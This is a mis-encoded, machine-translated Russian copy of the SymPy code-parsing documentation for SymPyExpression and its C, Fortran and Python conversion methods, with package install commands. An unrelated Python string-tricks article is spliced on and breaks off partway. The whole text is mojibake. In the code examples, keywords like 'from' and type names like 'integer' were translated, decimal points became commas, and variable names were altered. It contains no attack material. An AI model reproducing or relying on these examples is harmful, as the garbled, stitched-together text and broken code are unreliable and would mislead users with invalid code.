ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° ΡΠ°Π·Π½ΡΠ΅ ΡΠ·ΡΠΊΠΈ ΠΈ ΠΎΠ±ΡΠ°ΡΠ½ΠΎ.ΠΠ½ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Ρ C ΠΈ ΠΏΠ°ΡΡΠ΅ΡΠΎΠΌ Fortran Π΄Π»Ρ Π³Π΅Π½Π΅ΡΠ°ΡΠΈΠΈ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ SymPy.
ΠΊΠΎΡΠΎΡΡΠ΅ Ρ ΡΠ°Π½ΡΡΡΡ Π·Π΄Π΅ΡΡ ΠΈ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½Ρ Π² ΠΌΠ½ΠΎΠ³ΠΎΡΠ·ΡΡΠ½ΡΠ΅
ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄.ΠΠ°Π½ΠΊΠ½ΠΎΡΡ
ΠΠΎΠ΄ΡΠ»Ρ ΠΈ Π΅Π³ΠΎ API Π² Π½Π°ΡΡΠΎΡΡΠ΅Π΅ Π²ΡΠ΅ΠΌΡ Π½Π°Ρ ΠΎΠ΄ΡΡΡΡ Π² ΡΡΠ°Π΄ΠΈΠΈ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠΈ ΠΈ ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ.
ΠΈ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ Π² ΠΏΡΠΎΡΠ΅ΡΡΠ΅ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠΈ.ΠΠ°ΡΡΠ΅Ρ Fortran Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ ΡΠΈΡΠ»ΠΎΠ²ΡΠ΅ ΠΏΡΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΡ, ΠΏΠΎΡΡΠΎΠΌΡ Π²ΡΠ΅
ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ Π±ΡΠ»ΠΈ ΠΈΠ½ΠΈΡΠΈΠ°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Ρ Π½ΡΠ»Π΅ΠΌ.ΠΠΎΠ΄ΡΠ»Ρ ΡΠ°ΠΊΠΆΠ΅ Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ Π²Π½Π΅ΡΠ½ΠΈΡ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠ΅ΠΉ:
ΠΡΠΈΠΌΠ΅ΡΡ
ΠΡΠΈΠΌΠ΅Ρ ΡΠ°Π·Π±ΠΎΡΠ° C ΠΊΠΎΠ΄Π°:
>>> ΠΎΡ sympy.parsing.sym_expr import SymPyExpression >>> src = '' ' ... int a, b; ... float c = 2, d = 4; ... '' ' >>> a = SymPyExpression (src, 'c') >>> a.return_expr () [ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (a, type = intc)), ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (b, type = intc)), ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (c, type = float32, value = 2.0)), ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (Variable (d, type = float32, value = 4.0))]
ΠΡΠΈΠΌΠ΅Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ:
>>> ΠΎΡ sympy.parsing.sym_expr import SymPyExpression >>> src2 = '' ' ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: a, b, c, d ... Π²Π΅ΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎΠ΅ :: p, q, r, s ... '' ' >>> p = SymPyExpression () >>> p.convert_to_expr (src2, 'f') >>> p.convert_to_c () ['int a = 0', 'int b = 0', 'int c = 0', 'int d = 0', 'double p = 0.0', 'double q = 0.0', 'double r = 0.0', 'double s = 0,0']
ΠΡΠΈΠΌΠ΅Ρ ΠΏΡΠΈΡΠ²ΠΎΠ΅Π½ΠΈΡ:
>>> ΠΈΠ· sympy.parsing.sym_expr import SymPyExpression >>> src3 = '' ' ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: a, b, c, d, e ... d = a + b - c ... Π΅ = Π¬ * Π΄ + Ρ * Π΅ / Π° ... '' ' >>> p = SymPyExpression (src3, 'f') >>> p.convert_to_python () ['a = 0', 'b = 0', 'c = 0', 'd = 0', 'e = 0', 'd = a + b - c', 'e = b * d + c * e / a ']
ΠΡΠΈΠΌΠ΅Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΡΡΠ½ΠΊΡΠΈΠΈ:
>>> ΠΈΠ· sympy.parsing.sym_expr import SymPyExpression >>> src = '' ' ... ΡΠ΅Π»ΠΎΡΠΈΡΠ»Π΅Π½Π½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ f (a, b) ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ (Π²Ρ ΠΎΠ΄) :: a, b ... integer :: r ... ΠΊΠΎΠ½Π΅ΡΠ½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ ... '' ' >>> a = SymPyExpression (src, 'f') >>> a.convert_to_python () ['def f (a, b): \ n f = 0 \ n r = 0 \ n return f']
-
convert_to_c
() [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ Ρ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΌ ΠΊΠΎΠ΄ΠΎΠΌ c Π΄Π»Ρ ΡΠΈΠΌΠΏΠΎΠ·ΠΈΡΠΌΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· sympy.parsing.sym_expr import SymPyExpression >>> src2 = '' ' ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: a, b, c, d ... Π²Π΅ΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎΠ΅ :: p, q, r, s ... c = a / b ... d = c / a ... s = p / q ... Π³ = Π΄ / Ρ ... '' ' >>> p = SymPyExpression () >>> p.convert_to_expr (src2, 'f') >>> p.convert_to_c () ['int a = 0', 'int b = 0', 'int c = 0', 'int d = 0', 'double p = 0.0', 'double q = 0.0', 'double r = 0.0', 'double s = 0.0', 'c = a / b;', 'd = c / a;', 's = p / q;', 'r = q / p;']
-
convert_to_expr
( src_code , mode ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅Ρ ΡΠΊΠ°Π·Π°Π½Π½ΡΠΉ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ Π² Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ sympy
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΎΡ sympy.parsing.sym_expr import SymPyExpression >>> src3 = '' ' ... ΡΠ΅Π»ΠΎΡΠΈΡΠ»Π΅Π½Π½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ f (a, b) result (r) ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ (Π²Ρ ΠΎΠ΄) :: a, b ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: x ... r = a + b -x ... ΠΊΠΎΠ½Π΅ΡΠ½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ ... '' ' >>> p = SymPyExpression () >>> p.convert_to_expr (src3, 'f') >>> p.return_expr () [FunctionDefinition (integer, name = f, parameters = (Variable (a), Variable (b)), body = CodeBlock ( ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (r, ΡΠΈΠΏ = ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ = 0)), ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (x, ΡΠΈΠΏ = ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ = 0)), ΠΡΠΈΡΠ²Π°ΠΈΠ²Π°Π½ΠΈΠ΅ (ΠΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (r), a + b - x), ΠΠΎΠ·Π²ΡΠ°Ρ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (r)) ))]
ΠΡΡΠΈΠ±ΡΡΡ
src_code
(ΡΡΡΠΎΠΊΠ°) ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ ΠΈΠΌΡ ΡΠ°ΠΉΠ»Π° ΠΈΡΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡΠΎΡΡΠΉ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ
ΡΠ΅ΠΆΠΈΠΌ: ΡΡΡΠΎΠΊΠ°
ΡΠ΅ΠΆΠΈΠΌ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ ΠΏΠ°ΡΡΠ΅Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ Π² ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΠΈ Ρ ΡΠ·ΡΠΊΠΎΠΌ ΠΈΡΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° f ΠΈΠ»ΠΈ F Π΄Π»Ρ Fortran c ΠΈΠ»ΠΈ C Π΄Π»Ρ C / C ++
-
convert_to_fortran
() [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ Ρ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΌ ΠΊΠΎΠ΄ΠΎΠΌ fortran Π΄Π»Ρ ΡΠΈΠΌΠΏΠΎΠ·ΠΈΡΠΌΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΎΡ sympy.parsing.sym_expr import SymPyExpression >>> src2 = '' ' ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: a, b, c, d ... Π²Π΅ΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎΠ΅ :: p, q, r, s ... c = a / b ... d = c / a ... s = p / q ... Π³ = Π΄ / Ρ ... '' ' >>> p = SymPyExpression (src2, 'f') >>> p.convert_to_fortran () ['integer * 4 a', 'integer * 4 b', 'integer * 4 c', 'integer * 4 d', 'real * 8 p', 'real * 8 q', 'real * 8 r', 'real * 8 s', 'c = a / b', 'd = c / a', 's = p / q', 'r = q / p']
-
convert_to_python
() [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ Ρ ΠΊΠΎΠ΄ΠΎΠΌ Python Π΄Π»Ρ ΡΠΈΠΌΠΏΠΎΠ·ΠΈΡΠΌΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΎΡ sympy.parsing.sym_expr import SymPyExpression >>> src2 = '' ' ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: a, b, c, d ... Π²Π΅ΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎΠ΅ :: p, q, r, s ... c = a / b ... d = c / a ... s = p / q ... Π³ = Π΄ / Ρ ... '' ' >>> p = SymPyExpression (src2, 'f') >>> p.convert_to_python () ['a = 0', 'b = 0', 'c = 0', 'd = 0', 'p = 0,0', 'q = 0,0', 'r = 0,0', 's = 0,0', ' c = a / b ',' d = c / a ',' s = p / q ',' r = q / p ']
-
return_expr
() [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΎΡ sympy.parsing.sym_expr import SymPyExpression >>> src3 = '' ' ... ΡΠ΅Π»ΠΎΡΠΈΡΠ»Π΅Π½Π½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ f (a, b) ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ (Π²Ρ ΠΎΠ΄) :: a, b ... ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ :: r ... Π³ = Π° + Π¬ ... f = r ... ΠΊΠΎΠ½Π΅ΡΠ½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ ... '' ' >>> p = SymPyExpression () >>> p.convert_to_expr (src3, 'f') >>> p.return_expr () [FunctionDefinition (integer, name = f, parameters = (Variable (a), Variable (b)), body = CodeBlock ( ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (f, ΡΠΈΠΏ = ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ = 0)), ΠΠ±ΡΡΠ²Π»Π΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (r, ΡΠΈΠΏ = ΡΠ΅Π»ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ = 0)), ΠΡΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (f), ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (r)), ΠΠΎΠ·Π²ΡΠ°Ρ (ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ (f)) ))]
-
Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ΡΡΠ΅Π΄Ρ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ
ΠΠ°ΠΊΠ΅ΡΠ½ΡΠΉ Π² Π½Π°ΡΡΠΎΡΡΠ΅Π΅ Π²ΡΠ΅ΠΌΡ ΡΠ΅ΡΠ²Π΅Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΠ° LaTeX ΡΠ°ΡΡΠΈΡΠ½ΠΎ ΡΠ³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°Π½ Ρ ΠΏΠΎΠΌΠΎΡΡΡ
ANTLR4,
Π½ΠΎ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΏΠ°ΡΡΠ΅ΡΠ° Π²Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΠΏΠ°ΠΊΠ΅Ρ Python antlr4
.
Π Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ ΠΎΡ Π²Π°ΡΠ΅Π³ΠΎ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅ΡΠ° ΠΏΠ°ΠΊΠ΅ΡΠΎΠ² Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ Π½ΡΠΆΠ½ΡΠΉ ΠΏΠ°ΠΊΠ΅Ρ Ρ ΠΏΠΎΠΌΠΎΡΡΡ
Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, pip3
(ΡΠΎΠ»ΡΠΊΠΎ Python 3):
$ pip3 ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ antlr4-python3-runtime
ΠΈΠ»ΠΈ pip
(ΡΠΎΠ»ΡΠΊΠΎ Python 2):
$ pip ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ antlr4-python2-runtime
ΠΈΠ»ΠΈ conda
(Python 2 ΠΈΠ»ΠΈ Python 3):
$ conda install --channel = conda-forge antlr-python-runtime
Π‘ΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ C Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ clang
, Π° ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ Fortran Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ LFortran
.ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΡΡΠΈ ΠΏΠ°ΠΊΠ΅ΡΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ:
$ conda install -c conda-forge lfortran clang
10 ΡΡΡΠΊΠΎΠ² ΠΈ ΡΡΠ΅Π½Π°ΡΠΈΠ΅Π² Python Π΄Π»Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ΠΈ Π΄Π΅ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡΠΈΠΈ ΡΡΡΠΎΠΊ | ΠΠ°Π²Π΅Π» Π₯ΠΎΡΠ±ΠΎΠ½ΠΎΡ (Midvel Corp)
1. ΠΠ΅ΡΠ΅Π²Π΅ΡΡΠΈ ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡΡ
ΠΠ΅ΡΠ²ΡΠΉ ΡΠ»ΡΡΠ°ΠΉ - Π·Π°ΠΌΠ΅Π½ΠΈΡΡ ΠΈΠ»ΠΈ ΡΠ΄Π°Π»ΠΈΡΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠΈΠΌΠ²ΠΎΠ»Ρ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΠΈ ΠΈΠ· ΡΠ΅ΠΊΡΡΠ°. Python ΠΈΠΌΠ΅Π΅Ρ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ Π² ΠΌΠΎΠ΄ΡΠ»Π΅ string
, ΠΊΠΎΡΠΎΡΡΠ΅ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΆΠ΅Π»Π°Π΅ΠΌΡΠ΅ Π·Π°Π΄Π°ΡΠΈ.
translate ()
ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅Ρ ΠΊΠ°ΡΡΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² Π΄Π»Ρ ΡΠ΄Π°Π»Π΅Π½ΠΈΡ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΡ
ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ²:
Π replace ()
ΡΠ°Π±ΠΎΡΠ°Π΅Ρ, ΠΊΠ°ΠΊ ΡΠ»Π΅Π΄ΡΠ΅Ρ ΠΈΠ· Π½Π°Π·Π²Π°Π½ΠΈΡ - ΠΏΡΡΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΠΈ Π½Π° ΠΆΠ΅Π»Π°Π΅ΠΌΡΡ:
2.ΠΡΠΈΡΡΠΊΠ° ΡΡΡΠΎΠΊΠΈ
Π’Π΅ΠΏΠ΅ΡΡ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΈΠΌΠ΅Π½ΠΈΡΡ Π·Π½Π°Π½ΠΈΡ ΠΈΠ· ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅Π³ΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠ° Π΄Π»Ρ ΠΎΡΠΈΡΡΠΊΠΈ ΡΡΡΠΎΠΊΠΈ. ΠΡΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π²ΠΎΡΡΡΠ΅Π±ΠΎΠ²Π°Π½Π½ΡΡ ΠΏΡΠΎΡΠ΅ΡΡΠΎΠ² Π² ΠΏΡΠΎΠ΅ΠΊΡΠ΅ ΠΏΠΎ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ΅ Π΄Π°Π½Π½ΡΡ Π²ΠΎ Π²ΡΠ΅ΠΌΡ ΠΎΡΠΈΡΡΠΊΠΈ Π΄Π°Π½Π½ΡΡ - ΠΎΡΠ»ΠΈΡΠ½ΡΠΉ ΠΏΡΠΈΠΌΠ΅Ρ - Π½Π΅ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΠΉ ΡΠ΅ΠΊΡΡ Ρ ΠΏΡΠΎΠ±Π΅Π»ΡΠ½ΡΠΌΠΈ ΡΠΈΠΌΠ²ΠΎΠ»Π°ΠΌΠΈ ΠΈ ΠΏΠ΅ΡΠ΅Π½ΠΎΡΠ°ΠΌΠΈ ΡΡΡΠΎΠΊ. ΠΠΎΡ ΠΏΡΠΎΡΡΠΎΠΉ ΡΠΊΡΠΈΠΏΡ Π΄Π»Ρ ΠΎΡΠΈΡΡΠΊΠΈ ΡΠ°ΠΊΠΎΠΉ ΡΡΡΠΎΠΊΠΈ:
3. Π Π°Π·Π΄Π΅Π»ΠΈΡΠ΅ ΠΏΠΎ ΡΠ²ΠΎΠ΅ΠΌΡ ΡΡΠΌΠΎΡΡΠ΅Π½ΠΈΡ
ΠΠ½Π°Π»ΠΈΠ· ΡΠ΅ΠΊΡΡΠ° ΡΡΠ΅Π±ΡΠ΅Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΠΏΠΎΠΊΠ°Π·Π°ΡΠ΅Π»Π΅ΠΉ, ΡΠ°ΠΊΠΈΡ ΠΊΠ°ΠΊ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΠ»ΠΎΠ², ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ², ΡΡΠ΅Π΄Π½ΡΡ Π΄Π»ΠΈΠ½Π° ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΡ. Π§ΡΠΎΠ±Ρ Π²ΡΡΠΈΡΠ»ΠΈΡΡ ΡΡΠΈ Π·Π½Π°ΡΠ΅Π½ΠΈΡ, Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡΠΎΠ²ΠΈΡΡ ΡΠ΅ΠΊΡΡ - ΠΎΡΠΈΡΡΠΈΡΡ ΠΈ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΡ.Π ΡΡΠ°ΡΡΡΡ Π΄Π»Ρ Π½Π°Ρ, Π² Python Π΅ΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΡ ΡΡΠ½ΠΊΡΠΈΠΉ Π΄Π»Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ ΡΠ΅ΠΊΡΡΠ°:
- Π Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΠΈΠΌΠ²ΠΎΠ»Π° ΠΏΡΠΎΠ±Π΅Π»Π°:
test_string.split () Out [1]: ['The', 'quick', ' ΠΊΠΎΡΠΈΡΠ½Π΅Π²ΡΠΉ Β»,Β« Π»ΠΈΡΠ° Β»,Β« ΠΏΡΡΠ³Π°Π΅Ρ Β»,Β« Π·Π° Β»,Β« Π»Π΅Π½ΠΈΠ²ΡΠΉ Β»,Β« ΡΠΎΠ±Π°ΠΊΠ° Β»]
- Π Π°Π·Π΄Π΅Π»ΠΈΡΡ Π½Π° ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΠΎΠΊΠ΅Π½ΠΎΠ²:
test_string.split ('', 2) Out [2]: ['The', 'quick', 'Π±ΡΡΠ°Ρ Π»ΠΈΡΠ° ΠΏΠ΅ΡΠ΅ΠΏΡΡΠ³ΠΈΠ²Π°Π΅Ρ ΡΠ΅ΡΠ΅Π· Π»Π΅Π½ΠΈΠ²ΡΡ ΡΠΎΠ±Π°ΠΊΡ']
- ΠΠ±ΡΠ°ΡΠ½ΠΎΠ΅ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡΡΡΠΎΠΊΠΈ:
test_string.rsplit ('', 2) Out [3]: ['ΠΡΡΡΡΠ°Ρ ΠΊΠΎΡΠΈΡΠ½Π΅Π²Π°Ρ Π»ΠΈΡΠΈΡΠ° ΠΏΠ΅ΡΠ΅ΠΏΡΡΠ³ΠΈΠ²Π°Π΅Ρ ΡΠ΅ΡΠ΅Π·', 'Π»Π΅Π½ΠΈΠ²ΡΠΉ', 'ΡΠΎΠ±Π°ΠΊΠ°']
- Π Π°Π·Π΄Π΅Π»ΠΈΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠΌ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠΌ (ΠΊΠΎΠ½Π΅ΡΠ½ΠΎ, Π²ΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°ΡΡ ΡΡΡ ΡΡΠ½ΠΊΡΠΈΡ):
test_string.split ('e') Out [4]: ββ['Th', 'quick brown fox jumps ov', 'r the lazy dog']
- Π Π°Π·Π΄Π΅Π»ΠΈΡΠ΅ ΡΡΡΠΎΠΊΡ Π½Π° ΠΆΠ΅Π»Π°Π΅ΠΌΡΠΉ ΡΠΎΠΊΠ΅Π½, Ρ ΡΠΎΠΊΠ΅Π½Π°ΠΌΠΈ ΠΏΠ΅ΡΠ΅Π΄ ΠΈ ΠΏΠΎΡΠ»Π΅ Π½Π΅Π³ΠΎ:
test_string.partition ('fox') Out [5]: ('ΠΡΡΡΡΠ°Ρ ΠΊΠΎΡΠΈΡΠ½Π΅Π²Π°Ρ', 'Π»ΠΈΡΠ°', 'ΠΏΡΡΠ³Π°Π΅Ρ ΡΠ΅ΡΠ΅Π· Π»Π΅Π½ΠΈΠ²ΡΡ ΡΠΎΠ±Π°ΠΊΡ')
4. ΠΠ°ΡΠΈΡΡΠΈΡΠ΅ ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡΠ΅
